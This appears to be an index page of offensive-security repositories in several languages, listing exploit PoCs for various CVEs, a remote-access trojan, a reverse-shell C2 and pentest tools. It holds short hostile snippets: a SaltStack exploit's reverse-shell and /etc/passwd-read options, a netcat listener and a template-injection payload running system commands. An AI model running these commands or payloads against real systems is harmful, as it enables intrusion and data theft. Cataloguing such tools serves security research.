cve-2020-0688

cve-2020-0688 Использование: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWORD,...

CVE-2022-42889

CVE-2022-42889 テストアプリケーション このリポジトリには、CVE-2022-42889の脆弱性があるApache Commons Text 1.10を使用したシンプルなアプリケーションが含まれています。 アプリケーションの実行 DemoApplication.java内のncコマンドをホストのIPアドレスに置き換えてください。 netcatで待ち受ける場合: $ nc -l -p 30000 脆弱なコードをDockerでビルドして実行 docker build . -t vulnerable-app docker run vulnerable-app...

CVE-2019-12744

CVE-2019-12744 정보 Exploit 제목: SeedDMS 5.1.11 미만 버전에서 검증되지 않은 파일 업로드를 통한 원격 명령 실행 CVE: CVE-2019-12744 공급업체 홈페이지: https://www.seeddms.org/index.php?id=2 Exploit 작성자: NobodyAtall 테스트 버전: Seeddms 5.1.10, 5.0.11 테스트 OS: Windows 7 x64 Medium 기사...

ghost

ghost ghost 는 서버/공격자에게 사용자의 명령줄 인터프리터cmd.exe에 대한 완전한 원격 액세스를 제공하는 가벼운 RAT입니다. 클라이언트/좀비가 알아채지 못하게 명령을 조용히 실행할 수 있습니다. 서버/공격자는 또한 클라이언트/좀비의 컴퓨터에서 파일을 다운로드하고 실행할 수 있는 권한을 부여받습니다. 이것 또한 조용하고 숨겨진 프로세스입니다. 대부분의 원격 액세스 트로이 목마와 마찬가지로, 이 다운로드 및 실행 기능은 바이러스와 기타 악성코드를 유포하는 데 도움이 됩니다. 이 악성코드는 zombie.exe 를...

Bcrypt-forcer

Bcrypt-forcer sqlmap Bcrypt 복호화 도구 Bcrypt 해시 크래커...

SCShell

SCShell SCShell — это безфайловый инструмент для горизонтального перемещения, который использует ChangeServiceConfigA для выполнения команд. Прелесть этого инструмента в том, что он не выполняет аутентификацию через SMB. Всё происходит через DCERPC. Утилиту можно использовать удалённо БЕЗ...

CVE-2026-22553-InSAT-MasterSCADA-BUK-TS-MMadmServ

InSAT MasterSCADA BUK-TS - 인증되지 않은 RCE CVE-2026-22553 | CVSS 9.8 심각 | 익스플로잇 작성자: Mohammed Idrees Banyamer 📝 설명 InSAT MasterSCADA BUK-TS 는 MMadmServ 웹 인터페이스에서 인증되지 않은 OS 명령 삽입 취약점이 존재합니다. 이 결함으로 인해 원격 공격자는 인증 없이 완전한 원격 코드 실행RCE을 달성할 수 있습니다. 영향을 받는 제품 : InSAT MasterSCADA BUK-TS 모든 버전 취약점 유형 : OS 명령...

CVE-2026-48800-PoC

CVE-2026-48800 — Notepad++ 임의 코드 실행 PoC 심각도: 높음 | 영향: Notepad++ ≤ 8.9.6 | 패치: v8.9.6.1 CVE-2026-48800을 위한 PoC 스크립트로, shortcuts.xml을 통해 Notepad++ ≤ 8.9.6에서 발생하는 임의 코드 실행 취약점입니다. 전체 기술 세부사항은 공식 보안 권고를 참조하십시오. 사용법 python cve-2026-48800.py 실행 후 트리거: 실행 → Command Injection Demo 예상 결과: calc.exe가 실행되어 임...

CVE-2025-54100

CVE-2025-54100 – PowerShell 응답 파싱 PoC 악의적인 HTML 파싱을 통해 CVE-2025-54100 이 Windows PowerShell 5.1에서 원격 코드 실행RCE으로 이어질 수 있음을 보여주는 간결한 개념 증명PoC입니다. 목차 CVE-2025-54100이란? PoC 작동 방식 빠른 시작 피해자 호스트에서 트리거 문제 해결 및 검증 증거 완화 면책 조항 참고 자료 CVE-2025-54100이란? 유형: -UseBasicParsing을 사용하지 않을 때 Invoke-WebRequest에서 발생하는...

sak1to-shell

sak1to-shell Multi-threaded, multi-os/platform Linux/Windows c2 server and Windows reverse TCP shell client both written in C. Compiling reverse TCP shell client with i686-w64-mingw32-gcc: i686-w64-mingw32-gcc sakitorevshell.c lib/windows/sakitowincore.c -o sakitorevshell.exe -s -ffunction-sectio...

CVE-2026-76146

An OS command injection vulnerability in Genian SSL PNS allows an attacker who knows only the client access ID, without the password, to execute arbitrary commands remotely...

nuclei-wordfence-cve

Nuclei + Wordfence = ♥ 84,445 Nuclei Templates for WordPress Security Scanning 🥳 Level up your WordPress security game! This project's got a treasure trove of fresh Nuclei templates for WordPress. Scan for weaknesses in Core, plugins, and themes – all based on the latest intel from Wordfence.com...

TimeAfterFree

TimeAfterFree PoC для побега из песочницы PHP 8, демонстрирующий обход disablefunctions на Unix-подобных системах. Эта эксплойтация использует уязвимость use-after-free для обхода disablefunctions и выполнения системных команд. Методы эксплуатации для утечки указателей кучи и получения примитивов...

CVE-2022-24086

CVE-2022-24086 CVE-2022-24086의 PoC var this.getTemplateFilter.addAfterFilterCallback"system".filter"whoami"...

CVE-2026-54088-poc

CVE-2026-54088: Инъекция команд через замену оболочки в хуке аутентификации RCE до аутентификации Английская версия Обзор Этот репозиторий содержит Proof of Concept PoC критической уязвимости внедрения команд ОС CVE-2026-54088 , присутствующей в File Browser версии = 2.63.5. Уязвимость находится ...

CVE-2023-28343

CVE-2023-28343 Altenergy Power System 제어 소프트웨어 settimezone RCE 취약점 CVE-2023-28343 중국어 이름: Altenergy Power System Control Software settimezone 远程命令执行漏洞（CVE-2023-28343） CVSS 점수:9.0 설명 : Altenergy Power System Control Software는 Altenergy Power System의 마이크로인버터 제어 소프트웨어입니다. 영향 : AlAltenergy Power Syst...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

WMImplant

WMImplant WMImplant은 WMI를 활용하여 대상 머신에서 작업을 수행할 뿐만 아니라 C2 채널로 명령을 발행하고 결과를 수신하는 PowerShell 기반 도구입니다. WMImplant는 대상 머신에서 로컬 관리자 권한이 필요할 가능성이 높습니다. 개발자: @christruncer WMImplant 함수: 메타 함수 changeuser - WMI 명령을 실행할 사용자 컨텍스트 변경 exit - WMImplant 종료 gencli - WMImplant를 비대화형으로 실행하는 명령줄 명령 생성 setdefault - 대...

MSSqlPwner

MSSqlPwner MSSqlPwner — это продвинутый и многофункциональный инструмент для пентеста, предназначенный для бесшовного взаимодействия и взлома MSSQL-серверов. Этот инструмент основан на impacket, что позволяет атакующим аутентифицироваться в базах данных с помощью паролей в открытом виде, NTLM-хеш...

pwnflow

Pwnflow 🎯 Визуализируйте свой путь тестирования и анализа безопасности Pwnflow — это платформа для построения ментальных карт, созданная специально для специалистов по кибербезопасности. Она помогает визуализировать, отслеживать и делиться методологиями тестирования безопасности, сохраняя полный...